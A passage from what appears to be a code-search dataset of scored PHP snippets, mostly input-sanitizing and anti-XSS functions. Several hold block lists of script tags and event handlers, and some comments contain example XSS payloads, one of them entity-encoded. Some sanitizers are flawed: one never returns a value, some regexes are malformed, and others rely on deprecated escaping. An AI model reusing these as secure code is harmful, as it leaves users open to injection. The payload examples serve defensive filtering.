strip_tags( $safeout );\n \n return $safeout;\n}", "title": "" }, { "docid": "a801f00272ccb118c4351c91e8246486", "score": "0.71564233", "text": "function anti_injection($data){\n\t\t$filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\t\treturn $filter;\n\t}", "title": "" }, { "docid": "4e6f66c0ea19cef5cd08e1c5bae55ec5", "score": "0.71334636", "text": "function test_input($data)\n{\n $data=trim($data); //removing white spaces\n $data=stripslashes($data); // removing back slashes\n $data=htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "18d38f9f4f1f5354bc29f572a69bcc00", "score": "0.71317583", "text": "function sanitize($str) {\n return trim(stripslashes(htmlspecialchars($str)));\n}", "title": "" }, { "docid": "04c07705150aac76778324e20ad7c5a6", "score": "0.7129587", "text": "function sanitize($string) {\n $string = filter_var($string, FILTER_SANITIZE_SPECIAL_CHARS);\n return $string;\n}", "title": "" }, { "docid": "8c0e387b30ade8a2a29c5ffccb94687f", "score": "0.7123305", "text": "function sanitize($data){\n\t//return mysql_real_escape_string($data);\n\treturn htmlentities(strip_tags(mysql_real_escape_string($data)));\n}", "title": "" }, { "docid": "2d613ec85e7246c1b1dfdc5d73bd0324", "score": "0.7117565", "text": "function sanitize($input, $mode = 'txt') {\n $input = trim($input);\n $input = strip_tags($input);\n switch ($mode)\t {\n case 'varchar':\n $healthy = preg_replace('/[^a-z A-Z-_]/', '', $input);\n return $healthy;\n break;\n\n case 'alpha':\n $healthy = preg_replace('/[^a-z A-Z]/', '', $input);\n return $healthy;\n break;\n\n case 'alnum':\n $healthy = preg_replace('/[^0-9 a-zA-Z]/', '', $input);\n return $healthy;\n break;\n\n case 'num':\n $healthy = preg_replace('/[^0-9]/', '', $input);\n return $healthy;\n break;\n\n case 'email':\n $healthy = trim(preg_replace('/[^0-9a-zA-Z_@.]/', '', $input),\" \");\n return $healthy;\n break;\n\n case 'txt':\n $healthy = preg_replace('/[^a-z A-Z0-9@\\'\\\"\\.\\,\\#\\%\\(\\)\\$\\/\\:áéíóú&ñ\\;\\¿\\?\\!\\¡\\+\\-\\*\\=]/', '', $input);\n return $healthy;\n break;\n\n case null:\n return $input;\n\n }\n\n return true;\n\n}", "title": "" }, { "docid": "c1ddcc2a37cade11814c661f65f6830a", "score": "0.71169424", "text": "function inputCheck($input){\n\t\t$input=mysql_real_escape_string(htmlspecialchars(strip_tags($input)));\n\t\treturn $input;\n\t}", "title": "" }, { "docid": "4c2941aa6ced13ee20d78689073970ad", "score": "0.7110868", "text": "function cleanString($x){\n\t\t\tif($x != \"\") {\n\t\t\t\t$x = filter_var($x, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);\n\t\t\t\t//Escape the form data\n\t\t\t\thtmlentities($x, ENT_QUOTES, 'utf-8');\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "936cda0110da700c8b16e9fb0499d2a8", "score": "0.71104115", "text": "function basicSanitize($data)\n{\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "cd970b8b08fdfd0bc24f6389dba7c18c", "score": "0.71081823", "text": "function legal_input($value) {\n $value = trim($value);\n $value = stripslashes($value);\n $value = htmlspecialchars($value);\n return $value;\n}", "title": "" }, { "docid": "1db8b4cd5cc3d1153e9b5917da9cb0f3", "score": "0.71022546", "text": "function remove_xss($val) {\n // this prevents some character re-spacing such as <java\\0script>\n // note that you have to handle splits with \\n, \\r, and \\t later since they *are* allowed in some inputs\n $val = preg_replace('/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/', '', $val);\n\n // straight replacements, the user should never need these since they're normal characters\n // this prevents like <IMG SRC=@avascript:alert('XSS')>\n $search = 'abcdefghijklmnopqrstuvwxyz';\n $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $search .= '1234567890!@#$%^&*()';\n $search .= '~`\";:?+/={}[]-_|\\'\\\\';\n for ($i = 0; $i < strlen($search); $i++) {\n // ;? matches the ;, which is optional\n // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars\n\n // @ @ search for the hex values\n $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;\n // @ @ 0{0,7} matches '0' zero to seven times\n $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;\n }\n\n // now the only remaining whitespace attacks are \\t, \\n, and \\r\n $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');\n $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');\n $ra = array_merge($ra1, $ra2);\n\n $found = true; // keep replacing as long as the previous round replaced something\n while ($found == true) {\n $val_before = $val;\n for ($i = 0; $i < sizeof($ra); $i++) {\n $pattern = '/';\n for ($j = 0; $j < strlen($ra[$i]); $j++) {\n if ($j > 0) {\n $pattern .= '(';\n $pattern .= '(&#[xX]0{0,8}([9ab]);)';\n $pattern .= '|';\n $pattern .= '|(&#0{0,8}([9|10|13]);)';\n $pattern .= ')*';\n }\n $pattern .= $ra[$i][$j];\n }\n $pattern .= '/i';\n $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag\n $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags\n if ($val_before == $val) {\n // no replacements were made, so exit the loop\n $found = false;\n }\n }\n }\n return $val;\n}", "title": "" }, { "docid": "984af14ab45021afd5340a9c2e62345e", "score": "0.71020603", "text": "function clean_string( $untrusted ){\n global $db;\n return mysqli_real_escape_string($db, filter_var( $untrusted , FILTER_SANITIZE_STRING ));\n}", "title": "" }, { "docid": "114092d9b2c057c28db06b2da1a40e89", "score": "0.707664", "text": "function sanitizeString($var)\r\n{\r\n$var = stripslashes_deep($var);\r\n$var = htmlentities($var);\r\n$var = strip_tags($var);\r\nreturn $var;\r\n}", "title": "" }, { "docid": "cd6350381f28f13fcd161a1c0c7e120d", "score": "0.7064106", "text": "function handle_input($input){\n\t$input = trim($input);\n\t$input = stripslashes($input);\n\t$input = htmlentities($input);\n\n\treturn $input;\n}", "title": "" }, { "docid": "22f2e3fff753c54cc31e63682a3bb5ca", "score": "0.7060045", "text": "function sanitize_data($data)\r\n{\r\n $data = trim($data);\r\n $data = stripslashes($data);\r\n $data = htmlspecialchars($data);\r\n return $data;\r\n}", "title": "" }, { "docid": "f1d498a4b00ff9d1db4e48c9c479ffae", "score": "0.7056922", "text": "function remove_xss($val)\n{\n // this prevents some character re-spacing such as <java\\0script>\n // note that you have to handle splits with \\n, \\r, and \\t later since they *are* allowed in some inputs\n $val = preg_replace('/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/', '', $val);\n\n // straight replacements, the user should never need these since they're normal characters\n // this prevents like <IMG SRC=@avascript:alert('XSS')>\n $search = 'abcdefghijklmnopqrstuvwxyz';\n $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $search .= '1234567890!@#$%^&*()';\n $search .= '~`\";:?+/={}[]-_|\\'\\\\';\n for ($i = 0; $i < strlen($search); $i++) {\n // ;? matches the ;, which is optional\n // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars\n\n // @ @ search for the hex values\n $val = preg_replace('/(&#[xX]0{0,8}' . dechex(ord($search[$i])) . ';?)/i', $search[$i], $val); // with a ;\n // @ @ 0{0,7} matches '0' zero to seven times\n $val = preg_replace('/(&#0{0,8}' . ord($search[$i]) . ';?)/', $search[$i], $val); // with a ;\n }\n\n // now the only remaining whitespace attacks are \\t, \\n, and \\r\n $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');\n $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');\n $ra = array_merge($ra1, $ra2);\n\n $found = true; // keep replacing as long as the previous round replaced something\n while ($found == true) {\n $val_before = $val;\n for ($i = 0; $i < sizeof($ra); $i++) {\n $pattern = '/';\n for ($j = 0; $j < strlen($ra[$i]); $j++) {\n if ($j > 0) {\n $pattern .= '(';\n $pattern .= '(&#[xX]0{0,8}([9ab]);)';\n $pattern .= '|';\n $pattern .= '|(&#0{0,8}([9|10|13]);)';\n $pattern .= ')*';\n }\n $pattern .= $ra[$i][$j];\n }\n $pattern .= '/i';\n $replacement = substr($ra[$i], 0, 2) . '<x>' . substr($ra[$i], 2); // add in <> to nerf the tag\n $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags\n if ($val_before == $val) {\n // no replacements were made, so exit the loop\n $found = false;\n }\n }\n }\n return $val;\n}", "title": "" }, { "docid": "e9c103de7f82e99ff192f856b13342c5", "score": "0.7056717", "text": "function safevars() {\r\n\t\tglobal $input;\r\n\t\t$input = array_walk($_POST + $_GET, array('htmlsafe', &$this));\r\n\t}", "title": "" }, { "docid": "ec0f82507e41222529f29dd92693794d", "score": "0.7053485", "text": "function galaxy_sanitize($data)\n{\n\t$data = trim($data);\n\t$data = stripslashes($data);\n\t$data = htmlspecialchars($data);\n\treturn $data;\n}", "title": "" }, { "docid": "a41a13e1911474770cb5e087fd895d26", "score": "0.7045862", "text": "function sanitizeAndFilter($val) {\n\t\t$result = (string)$val;\n\t\t$result = trim($result);\n\t\t$result = strip_tags($result);\n\t\t$result = htmlentities($result, ENT_QUOTES, \"UTF-8\");\n\t\t$result = stripslashes($result);\n\t\t$result = filter_var($result, FILTER_SANITIZE_STRING);\n\t\t\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c301a8bcb1a24c67d9295b4f8a67a3c4", "score": "0.7044343", "text": "function sanitize(string $data) {\n\treturn htmlentities(strip_tags(trim($data)),ENT_QUOTES);\n}", "title": "" }, { "docid": "c9a9a228d02a68d4a2e1e04e9e498293", "score": "0.7038918", "text": "function processInputData($inputData)\n{\n $inputData = strip_tags($inputData);\n $inputData = htmlspecialchars($inputData);\n return $inputData;\n}", "title": "" }, { "docid": "108702c7763eed8d19b1e68df1ddf7a7", "score": "0.7033197", "text": "public function __sanitize($input, $target)\n {\n if($target == 0){ // for names\n return preg_replace(\"/[^A-Za-z]/\", '', htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8'));\n \n }else if($target == 1){ // for spaced strings\n return preg_replace(\"/[^A-Za-z]/\", ' ', htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8'));\n \n }else if($target == 2){// for numbers\n return preg_replace(\"/[^0-9]/\", '', htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8'));\n \n }else if($target == 3){ // for email\n return htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8');\n }else if($target == 4){ // for date\n return preg_replace(\"/[^0-9\\/]/\", '', htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8'));\n }else if ($target == 5){ // for username and password\n return preg_replace(\"/[^A-Za-z0-9-]/\", '', htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8'));\n }else if ($target == 6){ // for spaced values (for paymentHandler)\n return preg_replace(\"/[^A-Za-z0-9-. ]/\", ' ', htmlentities(strip_tags($input), ENT_QUOTES, 'UTF-8'));\n }\n else {\n return 0;\n }\n }", "title": "" }, { "docid": "a05dc37051cec71039e588d938bedc95", "score": "0.7033055", "text": "protected function sanitize($arg) {\n $step1 = strip_tags($arg);\n $step2 = htmlspecialchars($step1);\n return $step2;\n }", "title": "" }, { "docid": "59b550472fe313170ec8e578c021db05", "score": "0.7030707", "text": "function filterXSS($val) {\n // this prevents some character re-spacing such as <java\\0script>\n // note that you have to handle splits with \\n, \\r, and \\t later since they *are* allowed in some inputs\n $val = preg_replace('/([\\x00-\\x08][\\x0b-\\x0c][\\x0e-\\x20])/', '', $val);\n \n // straight replacements, the user should never need these since they're normal characters\n // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>\n $search = 'abcdefghijklmnopqrstuvwxyz';\n $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $search .= '1234567890!@#$%^&*()';\n $search .= '~`\";:?+/={}[]-_|\\'\\\\';\n for ($i = 0; $i < strlen($search); $i++) {\n // ;? matches the ;, which is optional\n // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars\n \n // &#x0040 @ search for the hex values\n $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;\n // &#00064 @ 0{0,7} matches '0' zero to seven times\n $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;\n }\n \n // now the only remaining whitespace attacks are \\t, \\n, and \\r\n $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');\n $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');\n $ra = array_merge($ra1, $ra2);\n \n $found = true; // keep replacing as long as the previous round replaced something\n while ($found == true) {\n $val_before = $val;\n for ($i = 0; $i < sizeof($ra); $i++) {\n $pattern = '/';\n for ($j = 0; $j < strlen($ra[$i]); $j++) {\n if ($j > 0) {\n $pattern .= '(';\n $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';\n $pattern .= '|(&#0{0,8}([9][10][13]);?)?';\n $pattern .= ')?';\n }\n $pattern .= $ra[$i][$j];\n }\n $pattern .= '/i';\n $replacement = substr($ra[$i], 0, 2).''.substr($ra[$i], 2); // add in <> to nerf the tag\n\t\t\t\t $replacement = \"\";\n $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags\n if ($val_before == $val) {\n // no replacements were made, so exit the loop\n $found = false;\n }\n }\n }\n \n return $val;\n }", "title": "" }, { "docid": "5d33a6b60be237248e9ffe9927ec61e5", "score": "0.7027428", "text": "function sanitize_string($string){\n\treturn filter_var($string,FILTER_SANITIZE_STRING);\n}", "title": "" }, { "docid": "4ccf1a4901f8514adc1282251453a271", "score": "0.70270854", "text": "function sanitize ($i)\n{\n return htmlspecialchars(strip_tags($i));\n}", "title": "" }, { "docid": "9b2ec31ea2b69148ff24ffa424fdec74", "score": "0.70247006", "text": "function StringInputCleaner($data) {\n\t//remove space bfore and after\n\t$data = trim($data);\n\t//remove slashes\n\t$data = stripslashes($data);\n\t$data = (filter_var($data, FILTER_SANITIZE_STRING));\n\t$data = utf8_encode($data);\n\treturn $data;\n}", "title": "" }, { "docid": "6fe268cdc02efe045d6abede88638f16", "score": "0.7014354", "text": "function anti_injection($data){\n$filter = mysql_real_escape_string(\n\nstripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)))\n\n);\nreturn $filter;\n}", "title": "" }, { "docid": "f47162d93b63369256db8cc38d7603f6", "score": "0.700813", "text": "function sanitizeInput(&$string){\n $string = $this->connection->real_escape_string($string);\n }", "title": "" }, { "docid": "f147ff4da29582f783e24f81a039b5e0", "score": "0.70067483", "text": "static public function globalXssClean() {\n\t\t\t// Recursive cleaning for array [] inputs, not just strings.\n\t\t\t$sanitised = self::arrayStripTags(Input::get());\n \tInput::merge($sanitised);\n\t}", "title": "" }, { "docid": "5db9f5fb2d6b135b9be632e102707f7c", "score": "0.7002819", "text": "private function xss_clean($value)\n\t{\n\t\treturn $this->arradyscode->security->xss_clean($value);\n\t}", "title": "" }, { "docid": "fad70f049aa04dbce657cf78bd90e41f", "score": "0.7001435", "text": "function sanitize($data){\r\n\t$data=trim($data);\r\n\t$data=htmlspecialchars($data);\n\t$data=mysql_real_escape_string($data);\n\treturn $data;\r\n\t}", "title": "" }, { "docid": "44d652aab8b0f7a3658a90cc51417587", "score": "0.6995272", "text": "function sanitize($data){\n\n\treturn htmlentities(strip_tags(mysql_real_escape_string($data)));\n}", "title": "" }, { "docid": "3e88d779d3b4b2e07e8f5efb886e3663", "score": "0.69940954", "text": "function sanitize($value) {\r\n $value = trim($value);\r\n $value = stripslashes($value);\r\n $value = htmlspecialchars($value);\r\n $value = strip_tags($value);\r\n return $value;\r\n}", "title": "" } ]
b0e986aa53949c50ebbae2a39474132d
Sets tags for this definition.
[ { "docid": "94e912bc7ca7f44c73fe20fed5df29d9", "score": "0.70786333", "text": "public function setTags(array $tags);", "title": "" } ]
[ { "docid": "06eac45fc2de5c96221bf2b06cd4994e", "score": "0.74707514", "text": "public function setTags($tags)\n {\n }", "title": "" }, { "docid": "8f2e77ba855915c5bb93d955c684a731", "score": "0.72558355", "text": "protected function set_tags($tags){\n\t\t\t$this->tags = $tags;\n\t\t}", "title": "" }, { "docid": "6fc4ed93fc45b122d40ed287527eed5b", "score": "0.72510964", "text": "protected function setTags($tags) {\r\n // TODO: Find out what the format of tags really is and format it correctly.\r\n $this->tags = $tags;\r\n }", "title": "" }, { "docid": "d705e97651beeb6e57f28d1abcb2c94a", "score": "0.7042006", "text": "public function setTags($tags) {\n\t\t$this->tags = $tags;\n\t}", "title": "" }, { "docid": "f91805e1a8a487bb90a652e8bed17132", "score": "0.7008103", "text": "public function setTags($tags)\n\t{\n\t\t$this->tags = $tags;\n\t}", "title": "" }, { "docid": "1fb04bb05600bcdd4474069758937cb1", "score": "0.69373363", "text": "public function setTags($tags) {\n $this->tags = $tags;\n }", "title": "" }, { "docid": "f1f3eafc325834cffee584aae94e34a0", "score": "0.6925172", "text": "public function setTags($val)\n {\n $this->_propDict[\"tags\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "fcf7518f8b74dfb72196e9be5eb636df", "score": "0.68319845", "text": "public function setTags($tags) {\n\t\tif(is_array($tags)) {\n\t\t\t$this->tags = $tags;\n\t\t} else if(is_string($tags)) {\n\t\t\t$this->setTagsString($tags);\n\t\t}\n\t}", "title": "" }, { "docid": "de4d25723fe16d1d3a3100036531d42f", "score": "0.62930834", "text": "function setMetaTags() {\n\n }", "title": "" }, { "docid": "134f059545bef2f2cbfb7e39d4f2ca20", "score": "0.6265238", "text": "public function setTag($tag)\n {\n $this->_tag = $tag;\n }", "title": "" }, { "docid": "a8cdebca8f5802b86e9bfcf221939406", "score": "0.6263293", "text": "public function setTagNamesAttribute($value)\n {\n $this->autoTagValue = $value;\n $this->autoTagSet = true;\n }", "title": "" }, { "docid": "1824ff93c6584170f94540fe731b1412", "score": "0.62631786", "text": "public function set_tags($val) {\n\t\tif (!empty($val)) {\n\t\t\t$tagsArr = \\Base::instance()->split($val);\n\t\t\t$tag_res = new Tag();\n\t\t\t$tags = array();\n\t\t\t// find IDs of known Tags\n\t\t\t$known_tags = $tag_res->find(array('title IN ?', $tagsArr));\n\t\t\tif ($known_tags) {\n\t\t\t\tforeach ($known_tags as $tag)\n\t\t\t\t\t$tags[$tag->_id] = $tag->title;\n\t\t\t\t$newTags = array_diff($tagsArr, array_values($tags));\n\t\t\t} else\n\t\t\t\t$newTags = $tagsArr;\n\t\t\t// create remaining new Tags\n\t\t\tforeach ($newTags as $tag) {\n\t\t\t\t$tag_res->reset();\n\t\t\t\t$tag_res->title = $tag;\n\t\t\t\t$out = $tag_res->save();\n\t\t\t\t$tags[$out->_id] = $out->title;\n\t\t\t}\n\t\t\t// set array of IDs to current Post\n\t\t\t$val = array_keys($tags);\n\t\t}\n\t\treturn $val;\n\t}", "title": "" }, { "docid": "4674ac08c400ba382dae278f75bbd8dc", "score": "0.6201767", "text": "protected function setupTagsField()\n {\n // to keep the field's state between requests...\n $tags = $this->getObject()->getTags();\n\n $this->widgetSchema['tags'] = new cqWidgetFormInputTags(array(\n 'label' => 'Tags',\n 'autocompleteURL' => '@ajax_typeahead?section=tags&page=edit',\n ), array(\n 'required' => 'required',\n ));\n\n $this->widgetSchema['tags']->setDefault($tags);\n $this->getWidgetSchema()->setHelp(\n 'tags', 'Choose at least three descriptive words\n or phrases, separated by commas'\n );\n\n $this->validatorSchema['tags'] = new cqValidatorTags(array(), array(\n 'required' => 'Please enter tags for your item.',\n ));\n }", "title": "" }, { "docid": "d1edaa1edab190ac45810b6c436f5893", "score": "0.6174892", "text": "public function setTags( $tags )\n {\n $this->proxyBase->tags = array_filter( (array) $tags );\n return $this;\n }", "title": "" }, { "docid": "d755f32db20e6ca7deb5e2fea51de0aa", "score": "0.6115659", "text": "public function setTags(Array $tags)\n {\n $this->_tags = $tags;\n return $this;\n }", "title": "" }, { "docid": "179186291df90a108f8a670d0944fd56", "score": "0.60689116", "text": "public function setTags($value)\n {\n $this->tags = $value;\n return $this;\n }", "title": "" }, { "docid": "b0523a7638bbc24e43ff5d8cf45e099a", "score": "0.6059821", "text": "public function setTag(?string $tag): void\n {\n $this->tag = $tag;\n }", "title": "" }, { "docid": "a6c1f17f1652984075658cbd1c9010fa", "score": "0.60585546", "text": "public function setTags(array $tags)\n {\n $this->tags = $tags;\n return $this;\n }", "title": "" }, { "docid": "6dbc35ccf7422e849e003fa4902da7c0", "score": "0.6030228", "text": "public function setTags(\\TYPO3\\CMS\\Extbase\\Persistence\\ObjectStorage $tags) {\n\t\t$this->tags = $tags;\n\t}", "title": "" }, { "docid": "53bf7567c6710f502017fd58443720cc", "score": "0.6026607", "text": "function setTags( $startTag, $endTag )\n\t{\n\t\t$this->_options['startTag']\t=\t$startTag;\n\t\t$this->_options['endTag']\t=\t$endTag;\n\n\t\t$this->_startTag\t=\t$startTag;\n\t\t$this->_endTag\t\t=\t$endTag;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e8232401193117cadfbf1cd88f896690", "score": "0.5981203", "text": "public function setAllowedTags($allowedTags='') {\n\t\t$this->_allowedTags = $allowedTags;\n\t}", "title": "" }, { "docid": "0e5e8a7fe7e425c2f80f49973c3db698", "score": "0.59517306", "text": "public function setTags(array $tags)\n\t\t{\n\t\t\t$this->tags = $tags;\n\n\t\t\treturn $this;\n\t\t}", "title": "" }, { "docid": "f9d7ef21ba0d1c6796ad509c6d55fbfd", "score": "0.5916802", "text": "public function tag($tag) {\n $this->tag = $tag;\n }", "title": "" }, { "docid": "f9d7ef21ba0d1c6796ad509c6d55fbfd", "score": "0.5916802", "text": "public function tag($tag) {\n $this->tag = $tag;\n }", "title": "" }, { "docid": "0592e0e379d0c0d437abe73f12053566", "score": "0.59157723", "text": "public function setTagsString($tags) {\n\t\t$tagList = split(',', $tags);\n\t\t$tagCount = count($tagList);\n\n\t\tfor($i = 0; $i < $tagCount; $i++) {\n\t\t\t$this->addTag($tagList[$i]);\n\t\t}\n\t}", "title": "" }, { "docid": "79953f8dbc3b5cb091ca157968e584b5", "score": "0.5889631", "text": "public function setTags($value)\n {\n $value = json_encode($value);\n $this->setData('tags', $value);\n return $this;\n }", "title": "" }, { "docid": "6f7aba06771a5fdb4caa3d5548887281", "score": "0.58632076", "text": "protected function setTags() {\r\n $tags = '';\r\n $tagChunkName = $this->modx->getOption('prefListChunkName', $this->props, 'sbsPrefListTpl');\r\n $tagList = $this->modx->getChunk($tagChunkName);\r\n if (!empty($tagList)) {\r\n\r\n $src = '<script type=\"text/javascript\">\r\nfunction nf_insert_tag(tag) {\r\n var text = document.getElementById(\"nf_tags\").value;\r\n if (text.indexOf(tag) != -1) {\r\n text= text.replace(\",\" + tag + \",\",\",\" );\r\n text = text.replace(tag + \",\",\"\");\r\n text = text.replace(\",\" + tag,\"\");\r\n text = text.replace(tag,\"\");\r\n } else {\r\n if (text) {\r\n text = text + \",\" + tag;\r\n } else {\r\n text = tag;\r\n }\r\n }\r\n var tagArray = text.split(\",\");\r\n tagArray.sort();\r\n text = tagArray.join(\",\");\r\n document.getElementById(\"nf_tags\").value = text;\r\nreturn false;\r\n }\r\n</script>';\r\n\r\n $this->modx->regClientStartupScript($src);\r\n $tags = '<p>';\r\n $tagArray = explode('||', $tagList);\r\n natcasesort($tagArray);\r\n $i = 0;\r\n foreach ($tagArray as $t) {\r\n $t = strtolower($t);\r\n $pos = strpos($t, '==');\r\n $tag = $pos ? substr($t, $pos + 2) : $t;\r\n $tag = trim($tag);\r\n $tags .= '<button name=\"button' . $i . '\" id=\"button' . $i . '\" type=\"button\" class=\"nf_tag\" onclick=\"nf_insert_tag(' . \"'\" . $tag . \"'\" . ');\"' . '\">' . $tag . \"</button>\\n\";\r\n $i++;\r\n }\r\n $tags .= '</p>';\r\n }\r\n $this->modx->setPlaceholder('nf_tag_list', $tags);\r\n }", "title": "" }, { "docid": "71c0d5ee34f1ee2b95e5395fc7b75d0b", "score": "0.58597726", "text": "public function setTags(?array $value): void {\n $this->getBackingStore()->set('tags', $value);\n }", "title": "" }, { "docid": "0dc8ef1888c2329796bb8ba977b3024a", "score": "0.5856546", "text": "public function setTags(PropelCollection $tags, PropelPDO $con = null)\n\t{\n\t\t$this->tagsScheduledForDeletion = $this->getTags(new Criteria(), $con)->diff($tags);\n\n\t\tforeach ($tags as $tag) {\n\t\t\t// Fix issue with collection modified by reference\n\t\t\tif ($tag->isNew()) {\n\t\t\t\t$tag->setUser($this);\n\t\t\t}\n\t\t\t$this->addTag($tag);\n\t\t}\n\n\t\t$this->collTags = $tags;\n\t}", "title": "" }, { "docid": "3cb5bf07347a4b5cb0e727ed27af23a3", "score": "0.5834533", "text": "public function setSkillTags(?array $value): void {\n $this->getBackingStore()->set('skillTags', $value);\n }", "title": "" }, { "docid": "b6d476010a84afb249856f34b79741d6", "score": "0.5830255", "text": "function setTags($tags) {\n\t\t\tif (is_array($tags)) {\n\t\t\t\t$tags = implode(\",\",$tags);\n\t\t\t}\n\t\t\t$r = $this->API->call(\"flickr.photos.setTags\",array(\"photo_id\" => $this->ID,\"tags\" => $tags),\"POST\");\n\t\t\tif ($r !== false) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "abe5a5ed8d685e2ab0a4bc24d703fd99", "score": "0.5793524", "text": "public function testSetTags()\n {\n $pushwooshMock = new 